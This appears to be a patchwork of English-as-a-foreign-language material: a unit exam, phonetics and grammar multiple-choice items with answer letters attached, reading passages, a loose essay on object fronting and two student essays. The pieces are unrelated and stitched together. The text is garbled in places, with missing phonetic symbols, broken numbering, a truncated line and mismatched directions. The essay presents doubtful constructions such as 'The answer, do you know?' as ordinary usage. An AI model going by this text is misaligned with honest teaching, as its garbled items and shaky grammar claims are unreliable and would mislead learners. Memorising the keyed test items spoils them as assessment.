Unit 5Score: Time: 40’Part I. Listening ComprehensionDirections: This part is to test your listening ability. It consists of 3 sections. Section A (8 points)Directions: This section is to test your ability to give proper responses. There are 4 recorded questions in it. After each question, there is a pause. The questions will be spoken two times. When you hear a question, you should decide on the correct answer from the 4 choices marked A, B, C and D.1. A. No, I can’t. B. Sure, here you are.C. Yes, I can.D. Not at all.2. A. This week. B. On Monday.C. In next week.D. For two hours.3. A. I can finish the task. B. I went to the cinema.C. Chat online.D. Do not stay up.4. A. At four o’clock this afternoon. B. For two hours.C. In 2014.D. For a while.Section B (4 points)Directions: This section is to test your ability to understand short dialogues. There are 2 recorded dialogues in it. After each dialogue, there is one recorded question. Both the dialogues and questions will be spoken two times. When you hear a question, you should decide on the correct answer from the 4 choices marked A, B, C and D.5. A. Play the guitar. B. Go shopping with her friends.C. Call her friends.D. Play the piano.6. A. He forgot to preview the lesson. B. He played video games.C. He spent some time previewing the lesson.D. The lesson is too hard.Section C (8 points)Directions: In this section you will hear a short passage. Listen to the passage and fill in each blank IN NOT MORE THAN THREE WORDS. The passage will be readthree times.“Time is money” means that time is very val uable. But I think time is more (7) ________ than money. The money we have lost can be (8) ________ again, but the time we have (9) ________ cannot be regained. We can also say humans can live without money, but nothing exists (10) ________, just like no one can live without air.Part II. Vocabulary & StructureDirections: This part is to test your ability to use words and phrases correctly to construct meaningful and grammatically correct sentences. It consists of 2 sections. Section A (10 points)Directions: There are 5 incomplete statements here. You are required to complete each statement by choosing the appropriate answer from the 4 choices marked A, B,C and D.11. What _________ you make the wrong decision?A. forB. asC. ifD. unless12. You can cut ____________ on the number of ads and still reach more people.A. downB. upC. overD. about13. I think you may think that present is a series of process undergoing change ______ better.A. forB. toC. atD. by14. Try to ________ a balance between work and play.A. moveB. workC. makeD. keep15. They have to ______ a limit to the expense of the trip.A. keepB. setC. writeD. readSection B (15 points)Directions: There are 5 incomplete statements here. You should fill in each blank with the proper form of the words in the brackets.16. ________ (good) late than never.17. ________ (social) and interact with others as much as possible.18. I am studying personnel __________ (manage).19. He spent all his energy ____________ (climb) up the hill.20. _______ (set) aside enough time for study is a must-do for every college student.Part III. Reading ComprehensionDirections: This part is to test your reading ability. You will find 2 tasks for you to fulfill. You should read the reading materials carefully and do the tasks as you are instructed.Task 1 (10 points)Directions: After reading the following passage, you will find 5 questions or unfinished statements. For each question or statement there are 4 choices marked A, B, C and D. You should make the correct choice.Need to save time? Simply adjust your daily routine to have more free time for the things you enjoy. Here's how:Be patient. Focus on each task until satisfied before moving on to the next.Be flexible. Observe others or read about a new technique to learn how to perform everything efficiently.Be consistent. Practice the same technique over and over again until it becomes second nature. This will free your mind of even thinking about it.Get your family involved. Kids love creative challenges. Develop their independence by teaching them to accomplish things quickly and efficiently. They may teach you something new.Concentrate on everyday techniques. Determine the quickest way to shop, cook, do dishes, laundry, make your bed, get dressed.Have a place for everything. Designate a place for all items and consistently return them to their hook, shelf, cupboard or closet after each use. If you consistently store your checkbook, keys or umbrella in a designated place, time will not be wasted hunting for them.Purchase a smartphone with email and Internet access. Programming telephone numbers into your phone keeps contacts accessible and eliminates the need to contacta telephone operator time and time again.21. This article is mainly about .A. how to get your family involvedB. how to have a place for everythingC. how to make a callD. how to save time22. The first thing for you to save time is ______________________.A. to do the tasks at the same timeB. to do the tasks with patienceC. to do the tasks in a short timeD. to do the tasks quickly23. “Be consistent” means .A. to practice the same technique until you do it naturallyB. to practice as many techniques as possible at the same timeC. to practice what you have learned beforeD. to practice the advanced and complex techniques24. You can save time except _______________________.A. being patientB. being consistentC. being flexibleD. being generous25. When you make a call, how can you save time?A. Remembering the telephone numbers.B. Dialing the telephone number as quickly as possible.C. Putting the telephone numbers in your phone.D. Asking for the telephone numbers every time.Task 2 (10 points)Directions: The following is Tom’s timetable of this term. After reading it, you are required to answer the following questions.26. For how many days does Tom have classes a week?___________________________________________27. How many classes does Tom have on Monday?___________________________________________28. How many English classes does Tom have a week?___________________________________________29. What does “PE” and “IT” stand for?___________________________________________30. How many classes does Tom have for self-study a week?___________________________________________Part IV. Translation (15 points)Directions: This part is to test your ability to translate English into Chinese. Each of the two sentences is followed by four choices of suggested translation marked A, B and C. Make the best choice. For the paragraph numbered 33, write your translation in the corresponding space.31. It is the night before a big exam or a homework deadline.A. 它是重要考试的前夕或者是家庭作业最后期限。
英语复习
A 1. A. however |au| B. narrow |əu| C. shallow |əu| D. snowy |əu|D 2. A. adverb |ə:| B. birthday |ə:| C. curtain |ə:| D. cigar |a:|B 3. A. area |iə| B. appeal |i:| C. bacteria |iə| D. cafeteria |iə|D 4. A. decade |e| B.aggressive |e| C. ancestor |e| D. bacteria |iə|A 5. A. what | | B. name |ei| C. make |ei| D. take |ei|A 6. A. young | Λ| B. blouse |au| C. out |au| D. shout |au|D 7.A. recent |--| B. sudden |--| C. absent |--| D. present |æ|A 8. A. broad | | B. boast |əu| C. coast |əu| D. road |əu|C 9. A. combine |ai| B. wine |ai| C. machine |iη| D. line |ai|D 10. A. carve |a:| B. yard |a:| C. department |a:| D. sugar |ə|C 11. A. treasure |d | B. pleasure |d | C. sure | | D. measure |d |C 12. A. flour |au| B. sour |au| C. tour |uə| D. hour |au|D 13. A. color |ə| B. comfortable |ə| C. bachelor |ə| D. born | :|A 14. A. civil |--| B. curriculum |i| C. crystal |i| D. country |i|A 15. A.garage |a:| B. damage |i| C. courage |i| D. garbage |i|B 16. A.ground |au| B. though |əu| C. blouse |au| D. amount |au|A 17. A. bowl | :| B. anyhow |au| C. brown |au| D. cow |au|A 18. A. industry |ə| B. instruct |Λ| C. nut |Λ| D. utter |Λ|D 19. A. soup |u:| B. routine |u:| C. route |u:| D. shoulder |əu|C 20. A. neighborhood |ei| B. eighteen |ei| C. height |ai| D. weight |ei|A 1.---Isn't it getting dark earlier?---I think so. I see____is on already.A. the street lightB. the light of the streetC. the street's lightD. the light streetD 2. We are________.A. mathematics studentB. mathematic studentsC.students in mathematicsD. students of mathematicsD 3. The shop at the street corner sells_____clothing.A. man's and woman'sB. man and women'sC. man's and womenD. men's and women'sA 4. He knows that as s secretary he must be pleasant and helpfulno matter how busy he is or what kind of_______he may be in.A. moodB. mindC. formD. thoughtC 5. I was paid yesterday, but I can't remember the exact____of the money.A. numberB. valueC. amountD.percentB 6. All the applicants turned up for the interview except___you introduce.A. oneB. the oneC. a oneD. whomA 7. I'll be here for____.A. another two weeksB. Other two weeksC. two another weeksD. two other weeksA 8. The diameter of the moon is 2100 miles, abort one fourth_____of the earth.A. thatB. thisC. thoseD.theseC 9. Telephones in cars and trucks are becoming as essential as_____in homes and offices.A. thatB. thisC. thoseD. TheseC 10. This furniture is different from____.A. oneB. onesC. thatD. that oneC 11. Jack spent too much time talking on____phone while we were all busy at____work.A. a;/B. /./C. the; /D. the; theD 12. Please have_____second try if you fail____first time.A. the; /B. /. aC. the; aD. a; theC 13. I didn't tell her_____news at once because I wanted to give her_____surprise.A. a; aB. the; theC. the; aD. /; theD 14. ---Who is your English teacher?--- Mr. Brown,_____European working in ----Nanjing University.A. an; theB. a; theC. an; /D. a; /A 15. When you study a globe, you can see____is the largest ocean and___the largest continent.A. the Pacific; AsiaB. Pacific; the AsiaC. the Pacific; the AsiaD. Pacific; AsiaA 16. After supper she would sit down by the fire, sometimes for___an hour, thinking of her young and happydays.A. as long asB. as soon asC. as much asD. as many asB 17. Boris has brains.In fact, I doubt whether anyone in the class has___IQ.A. a highB. a higherC. the higherD. the highestD 18. Americans eat_____vegetables per person today as they did in 1910.A. more than twiceB. as twice as manyC. twice as many asD. more than twice as manyD 19. It is general believed that teaching is____it is a science.A. an art much asB. much an art asC. as an art much asD. as much an art asA 20. Many people have helped with canned food, however, the food bank needs____for the poor.A. moreB. muchC. manyD. MostA 21. _____the book, he found out some answers to these questions.A. When readingB. At his readingC. As readingD. For readingB 22. _____come and help us.A. DoesB. DoC. DidD. WillD 23. He was praised for____such a contribution to the countryA. makeB. to makeC. to makingD. having madeA 24. My train___at 8 tomorrow morning. Will you come and see me off?A. leavesB. will have leftC. is leftD. Will be leftB 25. If he___my advice, he could not have been so miserable.A. listen toB. had listenedC. would have listenedD. should listen toB 26. New York____the Big Apple.A. are calledB. is calledC. calledD. callsC 27. I____not to touch the red button yesterday.A. am toldB. will be toldC. was toldD. toldA 28. The house____by the policeman now.A. is being searchedB. searchedC. was searchedD. searchesD 29. These data_____for two years now.A. are computerizedB. will be computerizedC. are being computerizedD.have been computerizedB 30. The question_____at the next meeting.A. discussedB. is to be discussedC. will discussD. is being discussedA 31. How_____the task ahead of time will be discussed at tomorrow's meeting.A. to finishB. to be finishedC. being finishedD. finishingC 32. The speech of Anna was so____that everybody was____.A. inspired; movedB. inspiring; movingC.inspiring; movedD. inspired; movingA 33. _____the thesis in time made the professor rather angry.A. The student's not having completedB. The student not having completedC. The student having not doneD. The student having not doneB 24. Mary regrets____the manager in this company.A. not to get on well withB. not having got on well withC. not get on well withD.having not got on well withC 25. When there is a dancing party in town. The car belongs to my daughter; when there is a football match intown, the car belongs to my son; However when the car requires____,it belongs to me.A. being washedB. washedC. to be washedD. to washA Family PhotoLi Ying shows a photo of her family to Lizzy and introduces each member to her.Lizzy: How many members are there in your family?Li: There are five in my family. Look at the picture. The old couple in the middle are my parents. They used to be doctors and now both of them are retired. The young man on the left is my elder brother. He is the manager of a big company in the south.Lizzy: Who is the girl on the right? Is that you?Li: No, that's my younger sister. She is a medical student. Now she studies in Japan.Lizzy: So the girl next to her must be you.Li: Yes, you are right this time. By the way, I'd like you to meet my parents. Can you come for dinner this evening?Lizzy: Oh, I'd love to. I'll be very glad to meet your parents. It seems you have a happy family.Are the following statements true(T) or false(F) according to DiallogueB?1)Li Ying draws a picture of her family for Lizzy. F2)There are five children in Li Ying's family. F3)The children are at the back of the parents in the picture. F4)Li Ying's parents are retired teachers. F5)The son of the family works in a big company in the south. T6)The girl on the right is Li Ying's elder sister. F7)Li Ying's sister now studies medicine in Japan. T8)Li Ying has a very happy family. T9)Lizzy will see all the members of Li Ying's family this evening. F10)Lizzy is pleased to accept Li Ying's invitation. TNo Time for FormalityAmerican people are always in a hurry. It seems they don't have time for formality. So, American informality is well known. Butyou may still feel somewhat surprised at this "lack of respect." This is especially true in the business world. Most Americans have littleconcern for"rand"or"title". They often use first names upon meeting people for the first time. They may introduce their friend to you inthis way:"Li Hong, this is Mary Smith". In this situation, you are free to call the lady "Mary" or "Miss Smith". American people do notalways shake hands upon meeting strangers. They often just smile and say "Hi" or "Hello". To American people, such an informalgreeting really means the same thing as a formal handshaking. Similarly, American people do not have a formal "farewell". Theywill just wave "good-bye" to the whole group. Or perhaps, they will say "Bye" or "So long" and then leave. There are no handshakesin most cases. To Americans, a friendly, informal relationship is the most important thing.Choose the correct answer from each group of choices.1)Which is not true of American people according to the passage?A. They are always in a hurry.B. They seem to have no time for formality.C. They are well known for their informality.D. They show no respect for each other.2)When American people are introduced to one another, they usually_____.A. say "How are you"B. smile and say "Hi"C. laugh loudly and say "hello"D. shake hands3)When John Hutchinson, an American, is introduced to you,you could properly greet him by saying_______.A. "Hello,Hutchinson"B. "Hi, Mr. John"C. "Glad to meet you, John"D. "Nice to meet you, John Hutchinson"4)To American people,___________.A. a friendly relationship is the most importing thing.rmality means politeness.C. title or rank is useless.D. hand shaking is not friendly.5)"American people do not have a formal 'farewell' "means___________.A. they don't say good-byeB. they are informal in saying good-byeC. they only wave hands to a group of peopleD. they say "so long" instead of "good-bye"。
英语中宾语前置的用法
英语中宾语前置的用法In English, the object - fronting usage is quite an interesting thing. You know, it's like when you're cooking and you put the most important ingredient right in front, even if it's not the usual order.Let's take a simple sentence for example. Normally, we might say "I like apples." But in object - fronting, we could say "Apples, I like." It's a bit like when you're showing off your new shoes. Instead of saying "I bought these new shoes", you might say "These new shoes, I bought." It gives a different kind of emphasis.Now, when do we actually use this object - fronting? Well, it's often for emphasis. It's as if you're shouting out the object to make sure everyone knows what you're really talking about. For instance, in a sentence like "The book, he read all night." Here, the "book" is being emphasized. Maybe it was a really special book, or there were other things he could have read but he chose this one. It's like highlighting a particular item on a menu when there are lots of options. You want to draw attention to it.Another situation is in more complex sentences. Say you have a long sentence like "He told me that the movie, he would neverforget." Here, the "movie" is fronted to show its importance in his memory. It's like when you're talking about a really memorable trip. Instead of just saying "I went on a trip and it was great", you might say "That trip, it was amazing. I'll never forget it."Object - fronting can also be used in questions. For example, "The answer, do you know?" It's a bit like a little puzzle for the listener. It's not the typical way of asking a question, but it makes the question more interesting, like a game. You're kind of challenging the person to think about the object first.Some people might think this is a bit strange or not the normal way of speaking English. But think about it. In art, we often break the rules to create something unique and eye - catching. It's the same with language. Just as an artist might put the most colorful part of a painting in the front to grab your attention, we can front the object in a sentence to make it stand out.We can also compare it to a parade. The object that is fronted is like the main float in the parade. It's the thing that everyone is supposed to notice first. All the other parts of the sentence are like the people walking beside the float or the music playing in the background.It's important to note that while this object - fronting can bereally cool and useful for adding emphasis or a different flavor to your speech or writing, it's not something you should overdo. If you use it too much, it's like putting too much salt in your food. It can start to taste a bit off. Just like you don't want every single item in your painting to be the main focus, you don't want every object in your sentences to be fronted.Object - fronting is a great tool in the English language box. It's like a special spice that you can sprinkle in when you want to add a bit of zing to your communication. Whether you're writing a story, having a conversation, or just trying to make your point more clearly, it can be a fun and effective way to play with the language. So don't be afraid to try it out. Give it a shot and see how it can make your English more interesting and engaging. I think it's a really wonderful aspect of English that we should all be aware of and use when the mood strikes.。
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First i think that the answer of the question is no. In my opinions, the parents who are guides of our life. Although then are very necessary for us, they just a part of our life. They cant accompany with us all the time. So we can do something that help them to reduce stress. In term of education, parents can provide some useful things , but actually when you grow up, you will have a feeling which is limited. Because you can find their knowledge are out of style. The society is progressing, we need to create. Parents just our abecedarian.
I think the most famous american symbols of usa are The Statue of Liberty. It is undeniable that people in America have more freedom than people in other countries. And The Statue of Liberty was a gift of friendship from the people of France to the people of the United States and is a universal symbol of freedom and democracy. We all know What's more, citizens in America from different countries with different cultures, if they want to be accustomed to the local environment, they are supposed to have an open mind and show themselves more about the concept of freedom and industrious. That’s all.。